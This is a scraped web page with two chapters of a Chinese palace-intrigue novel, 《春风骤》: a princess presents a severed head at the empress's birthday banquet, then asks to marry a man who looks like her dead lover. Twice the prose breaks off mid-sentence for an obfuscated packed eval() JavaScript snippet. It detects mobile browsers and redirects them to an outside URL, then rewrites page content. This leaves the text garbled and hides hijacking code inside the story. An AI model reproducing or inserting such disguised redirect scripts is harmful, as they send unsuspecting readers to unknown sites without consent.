《春风骤》 3. 第二章 “鬼?哪里有鬼?” 沈琅躲在宋不群身后,心惊胆颤地往沈骤的方向看,“这、这青天白日的,宫里怎么会有鬼?” 宋不群一转头见他脸都白了,新奇道:“你怕鬼啊?” “我、我当然不怕!”沈琅倏地站直身子,衣袍下的两条腿还在打颤,为转移注意力,他指着沈骤道:“那猫是怎么回事?” 经那太监一闹,周遭交头接耳的众人皆停了声响,朝沈骤那边看去。这些视线或惊或奇,就见沈骤手里的桃儿被猫一掌拍掉,这猫养得好蛮横,扒着他的衣襟往上爬,很有要骑脸的架势。 只听人群里有人说:“这是盛安公主的猫吧?” “盛安公主的猫怎么会在这儿?” “这人是谁啊,公主的猫怎么瞧着与他很熟的样子?” 宋不群也小声道:“你兄长此前认识这只猫?” 沈琅道:“怎么可能,我们刚入长安没两日,他上哪认识公主的猫?” “这里这么多人,它怎么就扒着你兄长不放?”宋不群看沈琅勉强镇定的神情,忽然很想逗逗这个小公子,“我听说猫能看到邪祟……” “真的假的?”沈琅脸上的表情有一丝龟裂,“邪、邪祟?那……” 这时,眼看那猫爪要一巴掌呼过来时,沈骤当即捏住猫的后脖颈,将它整个提溜起来。 也是奇了,那猫儿在沈骤手里乖得很,只轻轻“喵呜”一声,竟毫不挣扎。 沈骤抱着猫缓缓起身,神色森森地朝沈琅走来,“呀,被发现了。沈琅,你不知道吗,我其实早就死了,就在那年你推我下水……” 沈琅大叫一声往后退,四仰八叉地跌进了草丛里,“你你你真的……” 沈骤顿时发出爆笑,怀里的猫受惊跳了出去。 “哈哈哈哈沈琅,你几岁了啊?” “你!”沈琅这才反应过来,他连忙从地上爬起,拍了拍衣袍,气急败坏道:“沈骤,你有病吧?!” 沈骤笑弯了腰,他双手撑住膝头,眼尾都笑出了泪花,连带着旁边的宋不群也噗嗤笑出声来。 此处顿时欢声一片。 伴随着沈琅的斥责,沈骤笑得喘不上气,他抬指擦拭眼尾,唇角的弧度有刹那的僵顿。他垂了垂眼眸,视线从脚边的长毛猫身上掠过。那纤长的睫毛落下一片阴影,遮住了他瞳孔里一闪而过的神思。 - 长乐宫。 皇后生辰,众皇子妃嫔皆到齐了,李繁宁远远就听到里面阿谀奉承的嬉笑声。 再看殿外这一圈禁军侍卫,便知延德帝也在里头。 李繁宁缓步登上台阶,然而门外的守卫并未立即放行。 为首那个面无表情的年轻将领是北衙禁军都尉裴序,从李繁宁走近他便闻到了一股淡淡的血腥味,被幽香覆盖所以并不明显。 但是,他闻到了。 四目相对,李繁宁神情坦然,一副什么坏事都没干的样子。裴序的视线掠过后头侍女手里的匣子,但只短暂一眼,他很快就让开了。 殿门被推开的一瞬间,欢声笑语戛然而止。 很快,便有一道尖细的女声响起:“六妹好大的排场啊,母后生辰迟了不说,连父皇都得等你呢,到底是有个执鸾司傍身,与我们这些皇子公主就是不一样。” 李繁宁走上前,并未理会说话的人,只朝上首福了福身,“盛安来晚了,望父皇、皇后恕罪。” 皇后年逾四十,虽养护得当,但身为中宫之主,面上仍有掩不去的倦态,这种倦态为她添了几分慈悲的面相,连带着语气听起来都很和善,“盛安的府邸是远了些,来迟也属正常,不碍事,赐座吧。” 宫女搬来墩子,李繁宁却并没有坐,她看着自己威严可畏的父皇,直到延德帝抬了抬指,“坐吧。” 她才缓慢落座。 与此同时,方才那道充满敌意的声音再次传来,“母后就是太好心,才由得旁人回回怠慢。” “好了华瑶。”皇后细眉一蹙,口吻中略有警告的意味,“筵席尚未开始,盛安便没有来迟,今日千秋宴百官俱在,你身为嫡公主,莫要失了身份。” 李华瑶咬了咬唇,显然不甘。 忽然,另一端有声音响起,“永福公主如此讲究规矩,倒是自己先坏了规矩。” 说话的人坐于皇后左下手,一袭紫色宫装可见位份不低。她看起来比皇后略年轻个几岁,却是完全不同的风情,眉梢眼角皆是媚态,连嗓音都自带涟漪。 李华瑶平生最恨人唤她这封号,是以不悦地横了一眼,“贵妃娘娘这是何意?我坏谁的规矩了?” 萧贵妃低低一笑,忙放下茶盏,“公主不要生气,本宫也就那么一说。驸马刚病逝不过三月,按照我大晋朝的礼节,公主如今还在孝期呢,虽说皇后生辰事大,但到底人多口杂,公主今日,实在不该如此穿戴。” 萧贵妃说罢又捂住唇,“瞧臣妾,又多管闲事了,皇后贵为中宫之主,自己的儿女,自有自己的教法。” 李华瑶捏了捏拳,“你——” 皇后淡声道:“华瑶,去把头饰摘了,换身素净的衣裳。” “母后!” “去。”皇后轻轻瞥她一眼,那一眼自有中宫的气场,李华瑶不敢再违背。且看延德帝面上隐有不耐之色,趁父皇发火之前,李华瑶瞪了萧贵妃一眼,甩袖离开。 李繁宁坐在那里看了场狗咬狗的戏码,就见萧贵妃朝她弯了弯唇,那笑里带有明显的示好意味。 很显然,她针对李华瑶是想卖李繁宁一个面子。 但李繁宁依旧是那副不温不淡的模样,她的目光落在对面身着赤黄圆领长袍的人身上,那衣袍上用金线绣着麒麟纹,这是太子李元敏。按照以往,李元敏见到她一定会出言刺上两句,但今日他却看都没看她一眼,只双目无神,盯着鞋尖发呆,看起来心事重重。 似乎察觉到有人在看他,他迟钝抬目,李繁宁却已经移开了视线。 那边萧贵妃见她始终没理会自己,讨了个没趣,脸上的笑意愈发僵硬,终于在李繁宁的漠视中放平了唇角。 殿内逐渐安静下来,边上的陈錺见状,出言活跃气氛道:“圣上,六公主今日是为了给皇后准备贺礼才来迟,也算是一片孝心了。” “哦,是吗?”延德帝上年病了一场,精神总有些不济,但即便如此,黄袍加身也自显威势,他慢声道:“盛安,什么贺礼需得你误了进宫的时辰?” 李繁宁起身行过一礼,“儿臣的确有大礼要献给皇后。” 皇后笑着接过话,“盛安出手向来不凡,不知是什么样的大礼,还要让你大费周章。 ” “娘娘这里什么好东西没有,儿臣献礼,自然要费些心思。”李繁宁微微侧首,命侍女将匣子奉上,“只是儿臣来的路上也万分忐忑,唯恐送错了礼,惹皇后不悦。” 宫人上前接过匣子,跪递到皇后面前。 皇后缓慢起身,边打开匣子边道:“怎么会,你们这些孩子,只要有这份心思,本宫就——啊!” 皇后话说一半,陡然失声尖叫。 那手捧匣子的宫人随后亦发出同样惊悚的叫喊,紧接着“哐当”一声,那匣子被抛在地,里面慢悠悠滚出一颗人头来。 “——啊!!” 几乎是顷刻间,几个妃嫔皇子惊慌失色弹跳而起,个个都失了仪态,更有甚者直接吓晕过去。桌椅板凳被撞倒在地,还碎了几个花瓶果盘。年仅八岁的九公主嚎啕大哭,被她生母谨嫔捂住眼睛抱了起来。 整间大殿混乱不堪。 就连延德帝都撑住了座椅扶手,下意识也要起身躲开,但帝王的见多识广到底让他沉住气,硬生生又坐了回去。 而陈錺不愧是侍奉御前的内侍,腿都吓软了还记得抬袖挡在延德帝眼前,颤声喊道:“护、护驾!快来人护驾!” 裴序拔刀而入,看到的就是眼前这幅荒诞的景象。 殿内众人乱七八糟地挤在角落,就连平日仪态万方的皇后都散了发髻,三魂丢了七魄般跌坐在椅上。延德帝脸色难看,但尚且还算正常,而唯一泰然自若的,只有站在大殿中央的李繁宁。 她面上看似没有表情,但唇畔那若隐若现的弧度,看得出来她此刻至少是愉悦的。 裴序看了她一眼,就听陈錺大叫道:“裴都尉!快、快把那脏东西弄走!” 裴序正要上前,延德帝忽然抬手制止住他。 只见帝王倾身盯住那地上的人头,“此人瞧着眼熟。” 裴序进门就认出来了,“回圣上,是东宫幕僚,太子的门下客,岳山。” “太子。”延德帝看向角落,神色难辨道:“过来看看,是不是你的人。” “我……” 李元敏拖着沉重的步伐走出来。 那人头下面的血已经流干了,刀口整齐,看起来是一刀砍断的。不知死前经历了何种惊吓,他连眼睛都没闭上,目眦欲裂,瞳孔似都要爆开了! 李元敏呼吸不畅,不敢再看,“是、是他……” 延德帝沉默须臾,道:“盛安,你说吧。” 李繁宁略略看了李元敏一眼,李元敏低垂着头,瞥过来的余光却恶狠狠的。 岳山消失多日,果然是她…… 李繁宁不动声色地挑了下唇,道:“回父皇,此事说来话长,事关太子声誉,盛安不敢说。” 众目睽睽下献上人头当贺礼,把事情闹得这样大,她却说她不敢说。 延德帝深吸一口气,不知是气的还是不耐烦,“朕让你说。” 李繁宁低眉应了声“是”,这才一副不得不说的样子,道:“几日前执鸾司查抄了长安城内一家地下赌坊,名为赌坊,实为长安官场买官鬻爵的交易之地,按照赌注大小可买官阶不同,五千两银子便可买个九品京官,近来因着千秋宴,长安城内来了不少地方官,赌坊的生意很热闹。青雘——” 她稍稍侧身,被唤作青雘的侍女递上一本册子,就听李繁宁道:“这是赌坊的部分帐簿,还请父皇过目。” 陈錺看了眼延德帝的眼色,忙上前取来。 延德帝看过之后脸色骤变,猛地将册子砸在地上。 “哇”地一声,九公主又哭了起来,谨嫔又慌又忙地哄了半天,不见哭声停止,延德帝烦道:“还不快把公主抱出去!” “是、是!”谨嫔如获大赦,抱着公主疾步走出殿门。 李元敏也吓飞了神,此刻恨不得跟着谨嫔一道夺门而出。 延德帝看着太子那经不住吓的模样,眉头一皱,又问:“这与太子幕僚有何干系?” 李繁宁道:“能在朝中随意升调官吏,背后必定是个大人物。执鸾司查抄赌坊时,岳山正在点帐呢,岳山乃东宫僚属,儿臣不敢疏忽,可无论怎样拷打盘问,他都一口咬定这些收来的赃银是要往东宫送的。青雘,呈供状。” 侍女又将供状呈上。 听到这里,李元敏已经站不住了,他砰地跪下,“父皇,父皇儿臣没有!这是岳山栽赃儿臣!” “我与五皇兄想得一样,五皇兄身为太子,怎会做这等贪赃枉法之事,就算是五皇兄肯做,想必皇后也不会应吧。”李繁宁话里轻飘飘的,却又无端将皇后牵扯进来。 李元敏再迟钝也明白了,李繁宁今日就是针对他们母子来的! “李繁宁,你查案就查案——” “住嘴。”皇后已然从惊慌中回过神来,她打断太子的话,冷静起身道:“圣上,臣妾的确不知情,东宫僚属众多,太子确有管束不力之罪,但要说买官鬻爵,给他一万个胆子他也不敢,还请圣上明鉴!” 李元敏也反应过来,忙说:“是、是,一定是岳山仗着东宫僚属的身份在外敛财,此人心性不良,儿臣早就想将他逐出东宫,是他苦苦哀求,儿臣一时心软才……没想到他竟恩将仇报,栽赃儿臣!” 李繁宁顺势接过话,慢悠悠道:“栽赃太子罪当万死,这般有损皇家颜面之人,盛安自不能轻易放过,所以我将人杀了,也是为证五皇兄清白,当然,也为了让娘娘宽心,不知道我这份礼,娘娘觉得,好是不好?” 皇后眼尾有细微的抽动,话都说到了这里了,她还能说不好吗?但千秋宴上献人头当贺礼,这让人怎么能说出一个好字? 皇后几乎是从牙缝中挤出的声音,“盛安想得周到,此人确实该杀。” 李繁宁轻轻合掌,悦然道:“那太好了,看来我的礼没有送错,娘娘喜欢就好。” “好了。”延德帝蹙眉,“太子。” 李元敏还跪着,忙垂下首道:“儿、儿臣在。” 延德帝垂目看他,没有立即发话。 延德帝知道,太子即便真做了什么,也定是做得十分干净,李繁宁若能拿出切实证据,断然不会将岳山这个证人杀掉,她既然一不做二不休杀了人,说明她费尽心思也没搜到足以定罪东宫的有力证据。 没有证据,这个案子就只能不了了之。 但是以她对皇后等人的态度,即便不能置他们于死地,也绝不会让他们好过,眼下如此行径,无非是为了把事情闹大。 今日千秋宴,宫里耳目众多,此事很快就会传遍长安,用不了两日,弹劾太子的折子就会堆满案头,届时姜皇后和她背后的姜氏,都会受到牵累。 这不是李繁宁与东宫第一次交锋了,延德帝早已看惯了此类事。他捏了捏鼻骨,看起来有些倦了,“太子御下无方,自今日起闭门思过,没有朕的允许,不准迈出东宫半步,去吧。” 李元敏自知理亏,不敢争论,“是……” 延德帝问陈錺,“人都到齐了?” 看来这件事是要揭过去了,陈錺忙回话道:“是,前来贺寿的宾客都到齐了,圣上可是要移驾?” 延德帝点了点头,起身道:“裴序,把这里收拾干净。” 裴序应是,延德帝又瞥向皇后,“皇后整理仪容,随后率众妃嫔前来罢。” 皇后扶了扶散落的发髻,窘迫福身,“是,恭送圣上。” 李繁宁也俯首,“恭送父皇。” 然而,在路过李繁宁时延德帝却忽然顿步,他侧目看她,话里有斥责的意思,“有什么事不能好好说,非闹出这样大的动静。” 李繁宁低头,“儿臣知错。” 她认错认得从善如流,但面上没有半分知错的态度,她知道延德帝也并不会真的怪罪她。 果然,延德帝只是摇了摇头,“你啊。” - 众人散去,萧贵妃踏出长乐宫的殿门,她还没缓过神来,一脚踏空险些绊倒,姝妃萧茵及时搀住她,“姑母……” 萧贵妃摁着胸口缓了缓,看向李繁宁的背影道:“这个盛安,当真愈发放肆了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325920|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在她只是为难皇后。” 萧茵道:“可六公主也没少针对萧家,前阵子她与兵部发生争执,大伯父手下好几个人,今日都还扣在执鸾司没放。” 萧贵妃冷哼一声,“她也不是只针对萧家,自打三年前谢……那件事后,她性情便十分乖戾。那姓谢的死了,她找不到证据能证他清白,便疯了似的逮着人就咬,当年你大伯父不过就案情提了些看法,人又不是我们弄死的!本以为她胡闹一阵也就算了,没想到三年过去,她变本加厉,偏偏圣上还纵着她……不过好在当初和亲那件事我们萧家没有插手,否则像皇后这样被她缠上,更倒霉。” 萧茵闻言只微微颔首。 当年…… 谢家案过去没多久,皇后便用计劝说圣上将李繁宁送去和亲,和亲的仪仗队都送出城了,偏偏中途生了变故,外蕃临时反悔起兵,李繁宁险些丧命,历经一番波折才回到了长安。自那以后,她对前朝后宫几乎是无差别攻击,其中对东宫、对太子尤甚。 许多人都以为她格外针对太子是在报复皇后,可实则或许……另有隐情。 至少萧茵知道,当年那人身陷囹圄,是太子命人挑断了他的手筋。 “不是我说你。”萧贵妃的声音打断了萧茵的思绪,“你少时是四公主的伴读,与六公主也曾是同窗,借着旧时情谊,你就不知道与她多走动走动?真是榆木脑袋。” 萧茵低下头,“姑母教训的是,萧茵记下了。” 萧贵妃见她乖顺,缓声道:“好在圣上还算喜欢你,你性子如此木讷,旁的我也不指望你,你好好服侍圣上,将来诞下个皇子,保住萧氏一门的荣耀才是关键。” 若非是萧贵妃年岁渐长,却迟迟没有子嗣,她也不会从族中挑了个年轻貌美的女孩来分她的恩宠。好在萧茵是个知道分寸的,即便延德帝宠幸她,她也并未因此自傲,对萧贵妃这个姑母还是毕恭毕敬的。 可惜就是这个肚子,跟她的一样不争气。 萧贵妃叹气,“晚些到我宫里来,把补药喝了,那是你大伯父特意从宫外送进来的,能助你顺利怀胎。” 萧茵应是,“劳姑母费心了。” 萧贵妃还要再说些什么,前方忽然传来些动静,一个小太监三步一跤地跑过来,正好撞在李繁宁的仪仗上。 “放肆!”青雘挡在李繁宁面前,“行事如此莽撞,你是哪个宫的,合该拖下去挨板子!” 那小太监哆哆嗦嗦跪在地上,“奴才该死、奴才该死!可、可奴才真的看到鬼了!” “胡言!”青雘斥他,“满口疯话,快把他拖下去,万一冲撞了圣上,一百个脑袋也不够你掉!” 便有侍卫一人一边将这小太监架走,那太监挣扎着哭道:“奴才没疯,真的有鬼,是、是谢大公子,他一定、一定是来索命的!” “你说什么?”李繁宁骤然回头,“把他放下。” 她走上前,语气平得没有起伏,“你刚才说的,是谁?” 那小太监陡然一静,比起鬼神之说,这会儿六公主的神情好像更令人生畏。小太监咽了咽唾沫,声线抖得不像样,“是、是三年前,太傅谢家的大公子,谢、谢……” 太监还是不敢提及这个人的名字,只激动道:“奴才没有说谎,奴才真的看到了!就在曲荷园,一模一样,当真一模一样啊!” 很久没有人敢在她面前堂而皇之提起他了,李繁宁有短暂的失神。 青雘闻言看了眼她的脸色,“公主,要去看看吗?” 李繁宁缓慢扯了下唇,那神情自嘲、不屑、麻木,掺杂着令人难以捉摸的复杂情绪,“去,为什么不去?” 再像的她都见过了,她倒要看看,究竟……还能有多像。 她居高临下,垂视那太监道:“你,带路,” 此时,凉亭下一片喧哗。 沈骤屈膝坐在石板上,一手拿着果子,一手搭着个公子哥的肩,不知道说了什么,引起众人一阵欢呼,甚至还有人给他鼓掌。 宋不群看呆了眼,对角落的沈琅说:“你兄长厉害啊。” 这么会儿的功夫,就能在园子里混得如鱼得水,听他吹嘘自己在扬州的经历,还能让这群心高气傲的公子哥为他拍手叫好。 简直是个人才。 沈琅恨声道:“厉害什么,一个不学无术的纨绔,你以为这些人是吹捧他?嗬,不过是卖我父亲的面子,他一个庶子,成天打着沈家的名头出去招惹是非,看我不教训他!” 沈琅说罢,上前将那群人拨开,拽着沈骤的手腕就要把人拖出来,“你给我过来!” “喂,干嘛呢你。”沈骤挣开手,“有辱斯文啊沈小公子。” “就你还斯文?”沈琅被他气笑,“我告诉你,你再跟人胡说八道,我回去就——” “回去就怎样?告诉爹?”沈骤勾住他的肩,“行了吧,成天就是告诉爹,爹哪有那么多闲工夫听你说话?” “你——” 不及沈琅发飙,远处倏然一阵骚动。 只见方才还三三两两聚在一起的人轰然散开,齐齐站在道路两侧,还拱手做出了个行礼的姿势,就连宋不群都俯首站好了。 沈琅愣了愣,看向跸道上渐近的一行人,便知一定是贵人。他悄声问:“诶,这是什么人?” 宋不群道:“没听他们说公主万安吗,肯定是个公主啊。” 沈琅闻言赶忙站好,似乎生怕是传言中要挑选驸马的四公主,还把头压低了些,“哪个公主啊?” “我哪知道,又没见——” 说话间,一双云头锦履出现在面前。 宋不群顿时噤了声。 沈琅屏住呼吸,不敢抬头,沈骤垂目看着那抹随风晃动的藕色裙摆,也没有抬头。 就听方才那太监尖叫:“就、就是他!” 所有人的视线都顺着太监手指的方向看过去。 青雘倒吸一口气,“他……” 公主府里有各种各样长相与那位相似之人,有的是眉眼像,有的是身形像,有的只是神态像。 他们或多或少都有那位的影子,但饶是青雘日日陪在公主身侧,也从来没有见过…… 如此相像的。 几乎是一模一样。 这、怎么可能? “公主,他……”青雘一抬眼,就见李繁宁怔在原地,眼眶迅速红了一圈。 她只是看着他,就已经泪流满面。 她哽咽上前,抬手伸向那张脸,连指尖都在颤抖。 然而,未及触碰,沈骤忽然被沈琅一把拽着跪了下去,李繁宁的手就这样僵在了半空中。 只听沈琅道:“公主恕罪!我们兄弟初到长安,不知宫里的规矩,若有哪里冒犯了公主,还望、望公主宽恕!” 沈琅说罢,推了把沈骤。 沈骤似乎也吓得不轻,他手背垫在额头下,整个人匍匐在地,跟着磕巴道:“是、望公主……宽恕。” 话音落地,刹那间风止树静,千万尘嚣遽然远去。 万籁俱寂。 沈骤听到面前人哭泣的声音,她哭得好难过,每一个声调仿佛都要碎开来。 那声音很轻,轻到只有沈骤听清了她在说什么。 她在说,“谢临舟……” 谢、临舟。 他感到心脏骤疼,尝到了喉间涌上的血腥味。 4.第三章 哭到最后,李繁宁几乎泣不成声。 园子里的宾客从畏惧到按耐不住好奇,目光微抬,议论声窸窸窣窣,逐渐高昂。 两旁的宫人侍婢,知道内情的不敢劝阻,亦是被方才那张脸震撼住了,不知道内情的更是讶然,六公主平日笑都懒得笑一下的人,何曾见她这么哭过? 众人你望我我望你,皆是满脸惊愕。 这诡异的气氛实在持续太久,沈琅也跪不住了,他偷偷挪了下膝盖,齿间发出含糊不清的音调,“你究竟干了什么?公主为什么对着你哭?” “你这几日早出晚归,不会真的得罪了什么人吧?” “喂,沈骤,你听到我说话没?” 然而身旁的人毫无动静。 沈琅忍不住偷觑了一眼,就见沈骤还保持着那个匍匐的跪姿,整张脸都埋在地上,弓起的背脊甚至没有起伏,整个人像死了一样。 该不会吓懵了吧? 不得已,沈琅悄悄用手肘碰他,“诶、诶。” 沈骤依旧没动,他听着那愈发破碎的哭声,交叠的手指微微用力,克制住了想要蜷缩的本能。 终于,远处一道声音打断了这旁人看来怪诞的一幕,“圣上、皇后驾到——” 宫里没有传不开的消息。 延德帝在大殿上宴请百官,人刚坐稳,酒杯都还没端起,就听说曲荷园这边发生了怪事。旁的疯言疯语倒不打紧,但公主在大庭广众下这般失态不是小事,最疼爱六公主的延德帝自是不能不理。 帝王移驾总是乌泱泱的一大群人,前有禁军劈开道路,皇后与萧贵妃紧随其后,园子里多是些年轻公子,哪里见过这么大的阵仗,顿时噤若寒蝉,纷纷跪拜行礼。 这回是真真正正地安静下来了。 青雘回过神来,赶忙上前提醒。 李繁宁却好似根本听不到外面的声音,她眼里只有跪在她面前的这个人。 可是这个人,连头都不肯抬一下。 一行人渐近,延德帝肃声道:“盛安,你这又是做什么?” 萧贵妃倒是好奇得不行,她作出关怀的样子道:“六公主这是怎么了?快去,给六公主递张干净的帕子。” 宫女依言捧着张帕子递上前,李繁宁却没有伸手来接。 但她抽泣的声音逐渐轻了,两肩的起伏也渐渐平复。 她望着沈骤,没有去擦脸上的眼泪,只一抹下颔,转过身,直直朝延德帝跪下来。 要知道,延德帝宠溺放纵李繁宁不是一日两日了,没有什么天大的事,她断不会行此大礼。 上一次她这样跪,还是执鸾司拿住了世家的把柄,她逼着延德帝下令处置。 而那一次,长安城的几大世家都没有讨到便宜。 是以她当下这么一跪,不仅是皇后,连带着萧贵妃都眼皮一跳。 “父皇。”李繁宁仰头,脸上泪痕道道瞩目,“盛安如今已至双十,这两年皇后没少操心盛安的婚事。” 似是方才吃过大亏,皇后这会儿神色有些倦,闻言只恹恹撩了下眼皮。 李繁宁手头有个权力滔天的执鸾司,任谁都想来分一杯羹,皇后也不例外。这两年本想着从自己人里为李繁宁挑个夫婿,可她实在谨慎,就是不肯松口,皇后早就不抱任何希望了。 延德帝也道:“皇后为你挑选的那些人,你不是一个都看不上?” “但儿臣眼下有了心悦之人,请父皇赐婚。” 周遭发出了沉默的惊讶。 延德帝只问:“什么人?” 李繁宁唇瓣轻启,顿了一下,才说出方才听到的那个名字,“沈骤。” “沈骤……”延德帝将这两个字细细重复一遍,却是纳罕一笑,“这名字耳生,不曾听过。究竟是什么人,能得朕这百般挑剔的女儿欢心,站出来,让朕看一看。” 沈琅已经石化了,顾不上提醒沈骤。 片刻不见动静,陈錺看了眼帝王脸色,适时清了清嗓音,高声道:“不知这位沈公子可在园中,圣上宣你到跟前来。” 沈骤这才慢吞吞地往前挪了几步。 但他挪步也没抬头,整个人仿佛蠕动上前。缩头缩脑,犹如惊弓之鸟。 此等做派,断然不是什么有身份的人物。 众人脸上那点兴致荡然无存。 实际上,这并不是李繁宁第一次看上什么人,至于长得像谢家那位的,这几年更是数不胜数。 前头太医院还有个新来的小太医,也是被李繁宁看上,强行带回了公主府。 这样的事在宫里早已屡见不鲜。 唯一的区别就是,她从未许过谁驸马的位置。 但那又如何呢,这位公主么,向来是想一出是一出,她做的荒唐事多了,再荒唐些也无甚稀奇的。 是以当延德帝让他抬起头来时,根本没有人好奇他究竟是谁—— 须臾,“哐当”一声,不知是哪个侍卫手里的钢刀落了地,那一声震耳欲聋几乎是敲在每个人的心头上。 皇后瞳孔紧缩,强忍着才站在原地没动。萧贵妃则再次花容失色,往后退了半步,捂住唇道:“他,他不是……” 已经死了吗? 就连一向处变不惊的裴序都变了脸色,他猛地一攥佩刀,下意识向前道:“你……” “你就是沈骤?”延德帝适时开口,拉回了裴序的理智,叫他不得不退了回去。 沈骤只是抬了脸,眼睛却还是低垂的,恭顺又敬畏,寻常人见到皇帝,都该是这个神态。 只听他紧张道:“是、家父乃扬州都知兵马使沈泊易,今日携草民与小弟进宫,给皇后娘娘贺寿。” “原来是他。”比起周遭众人的惊魂未定,延德帝已经算是十分从容了,“方才在大殿上瞧见了,还未来得及与他说话。这些年你父亲为扬州鞠躬尽瘁,朕都看在眼里,当赏他。” 沈骤赶忙说:“父亲平日常说,为官之道便是为天子分忧,为百姓、为百姓……” 进宫前父亲让他兄弟二人背了几句场面话,这个紧要关头他居然忘了,沈琅不得不咬牙提醒他:“……为百姓疏难!” “哦对对,为百姓疏难,这些都是他的分内事,不敢邀功。” 延德帝闻之一笑,但目光仍紧紧锁在他身上,似审视,也似试探。 “方才朕的女儿说,要你做她的驸马,你意下如何?” 沈骤闻言又跪下去,惶恐道:“草民不敢,公主乃金枝玉叶,草民身份低微,自觉不配,不敢折辱公主。” “你倒是通透。”延德帝道:“都起来吧,今日皇后生辰,是喜庆日子,一个个都跪着不像个样子。” 延德帝这样说,就是要把此事作罢了。 李繁宁唤道:“父皇——” 延德帝却是看她一眼,“盛安,不要胡闹。” 这是意料之中的事,面前这个叫沈骤的年轻人,论神韵论气度都与那位大不相像,但他长着这样一张脸,要让人完全信服绝无可能,在未弄清楚事情始末之前,延德帝又怎会草率答应李繁宁的请求。 李繁宁僵持须臾,知时机不对,只好起身。但她看沈骤的眼神,显然不打算就这么算了。 其余宾客也陆陆续续站起来了,却仍是拘谨非常,延德帝只得摆手道:“好了,都该干什么干什么。陈錺——” 向来机敏的陈錺此刻却未及时应答,延德帝转头看去,见陈錺双目怔怔,还呆愣在原地。 得小太监轻声提醒,陈錺才乍然回神,看出延德帝无意逗留,陈錺强行撇开杂乱的思绪,匆忙道:“摆——” “圣上。”这时,裴序却陡然出声:“今日曲荷园附近设了马球场,臣斗胆,想借着娘娘生辰博个彩头。” 延德帝蓦地顿步,侧目道:“哦,你有兴致上场?” 裴序出身将门,论马背上的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329109|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,放眼整个长安也是数一数二的,但他性情冷淡倨傲,平日不爱与那些世家子弟往来,马球这种人多的游戏,他更是看都懒得看一眼。 在裴序眼里,园子里的这些人,不配与他交手。 今日一反常态,延德帝自是知他目的。 果然,就见他将目光放在对面那人身上,道:“听说沈大人骁勇善战,虎父无犬子,臣想与沈公子切磋一二,只是不知沈公子,肯不肯给这个机会?” - 裴序这样众目睽睽下逼问,本就没有给沈骤拒绝的余地。最终皇后以玉镯为彩头,延徳帝也决意留下观球。 几人各自下去更衣,沈琅陪着沈骤往换衣处去。兄弟俩一路沉默,似乎都处在深深的震惊中,好半响沈琅才发出惊叹:“公主为什么要你做驸马?你到底怎么她了?” “我哪知道。”沈骤沉思,忽然一副苦恼又无奈的样子,道:“嗐,会不会是看上我的脸?” “你——”沈琅想骂他不要脸,可侧目一看这张脸……还真有可能。 沈琅还想再说什么,倏地察觉斜前方有一道目光,阴沉沉的,看得人害怕。 他慌张道:“完了完了,你知不知道那个人是谁?” 沈骤顺着沈琅的视线看去,裴序正目不转睛盯着他看。 那眼神幽深凝重,像是恨不得在沈骤身上看出个窟窿来,加上他生了张不易近人的脸,看起来格外不好惹。 “谁啊?”沈骤朝那边扯了个友善又恭维的笑,裴序果然皱眉。 “裴序!裴序你知道吗?!”沈琅道:“就是那个勇毅侯裴家的独子,他父亲戍守边疆战功赫赫,他自己又是禁军都尉,御前近侍,也是圣上跟前的大红人,总之,是我们沈家得罪不起的人。” 沈骤瞅他,“你怎么知道?” “刚刚宋不群告诉我的啊。”沈琅又说:“你别管我怎么知道,你还是想想怎么脱身吧,人家可是正儿八经的武将,你跟他赛马球,那画面,我都不忍心替你想,唉这可怎么办!” 这怪事一桩接一桩…… 沈琅看起来是真担心,虽然他一惯不喜欢这个除了张脸一无是处的庶兄,但到底都姓沈,沈骤若真出个什么好歹,指不定还要连累沈家。 思来想去,沈琅终于有了主意,“这样,一会儿你上场,随便打两下,然后就从马背上摔下来,假装摔晕过去,有什么事等咱们出宫再说。” 沈骤犹豫,“万一没摔好,断了胳膊腿什么的……” 沈琅破口大骂,“那也比你小命丢在这里强吧!” “知道了知道了。”沈骤揉了揉耳朵,心不在焉道:“我摔还不行么。” 但待沈骤上马后,沈琅忽然觉得自己想多了。 以沈骤这马上功夫,兴许用不着装,一会儿他真能自己摔下来。 马球规则是两边各四人对打,裴序与其余几位早早等在场上,看台上无数目光聚集。 方才园子里的事早就传开了,不免令人好奇,这位被六公主看上的“准驸马”,究竟有什么过人之处。 终于,沈骤姗姗来迟。 众人视线一凝。 却见沈骤身形一歪。 他似是完全不会御马,那匹马在他的控制下走得磕磕绊绊歪歪扭扭,眼看就要偏离目的地,他手忙脚乱地牵引缰绳,又险些将自己从马背上颠下来。 短短几步路,他费了好大的功夫。 看台两端默了片刻,紧接着发出低低的哄笑 ,就连场上的另几人也没忍住乐出了声。 裴序却笑不出来。 这偌大的长安城,年轻的世家公子里,要说有人能在马术上赢过裴序,那只有一个。 他叫谢临舟。 倏地,裴序眸色一暗,他陡然挥杆,那铜锣还没敲响,马球就已经在空中抛出了一条曲线,直朝沈骤飞去。 且看那劲道,足以将沈骤的头打爆。